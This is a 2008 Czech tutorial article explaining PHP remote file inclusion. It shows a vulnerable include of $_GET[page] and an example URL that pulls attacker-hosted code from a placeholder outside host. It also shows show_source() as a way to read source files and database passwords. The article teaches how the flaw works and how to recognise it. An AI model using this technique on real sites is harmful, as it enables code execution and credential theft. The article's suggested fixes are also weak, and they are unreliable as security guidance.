Zpět na seznam článků     Číst komentáře (2)     Verze pro tisk

Nejrožšířenější internetové chyby - II.

Autor: Genua_   
6.2.2008

Druhý díl nám přinese vědomosti o PHP injection


Úvod

Ani jsme si neodpočinuli po prvním díle a je tu ihned díl druhý. Budeme se zabývat především PHP-injection, která je známou chybou, ale přesto velice rožšířenou.

Oč se tu jedná?

Pro začátek bych napsal krátký kód v jazyce PHP, který by vás měl seznámit s problémem:

include "$_GET[page]";

Vypadá to velice banálně, ale díky tomuto řádku můžete opravdu přijít o léta snažení, ba i o dobrou pověst. Ti, kteří alespoň trochu rozumějí PHP, tak pochopí, že se jedná o inkluzi souboru, jehož jméno je uchováno v proměnné. Jistě také víte, že proměnné v PHP se můžou téměř jakkoli měnit. Co by to mělo za následek? Například jakékoli vykonání příkazu, včetně ničivých příkazů (unlink(), show_source(), atd.).

Nejčastěji jsou názvy souborů na inkluzi, ačkoli to je nesmyslné, uchovávány v URL adrese. Weby s podobnou chybou jsou viditelné na první pohled, a přesto se takové weby najdou. Tak tedy dejme tomu, že máme web cokoli.cz?page=guestbook.php.
Podobných URL můžeme najít mnoho, ale v čem jsou tak nebezpečné? V tom, že můžeme napsat téměř dokoli. Absolutně nechápu, v jaké učebnici podobný zápis píšou. Například tedy můžeme toto: cokoli.cz?page=http://necojinyho.cz/hm.txt.
V tomhle případě se spustí PHP kód, který je v souboru hm.txt. Ptáte se proč je přípona souboru txt? Když PHP stroj inkluduje soubor, tak se bude chovat, jakoby byl text přímo ve zdrojovém kódě. Je to velice vážná chyba a následky jsou téměř jasné. Ovšem můžeme najít stránky, kde chyba bude, ovšem následky nebudou. Stránky mohou mít php kód pouze na to a zbytek by byl statický. Dále bude CHMOD souborů na nejmenší možné práva a v tom případě jsme skončili a nemůžeme nic udělat.

Ovšem můžeme se ještě nějak prokopat do zdrojového kódu, kde bude heslo do db. Toho docílíme následujícím kódem:

show_source('index.php');

Tento řádek vám vypíše zdrojový kód souboru index.php. Pak už nebude problém dostat se do citlivých informací.

Závěr a oprava na PHP-injection

Jak opravit tuto chybu? Jednodušší to být nemůže, je mnoho způsobů. Můžeme, například nejprve zkontrolovat, jestli je soubor na serveru a pokud ne, tak ho neinkludovat. Nebo můžeme přidat před proměnnou lomítko a v tom případě to bude inkludovat soubory ve stejném adresáři. Tímto bych chtěl ukončit tento článek, doufám, že vám pomohl a nějak naznačil tématiku. V příštím díle si povíme o XSS, nebo Cross-site scripting.

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 0/0

1  2  3  4  5    
(známkování jako ve škole)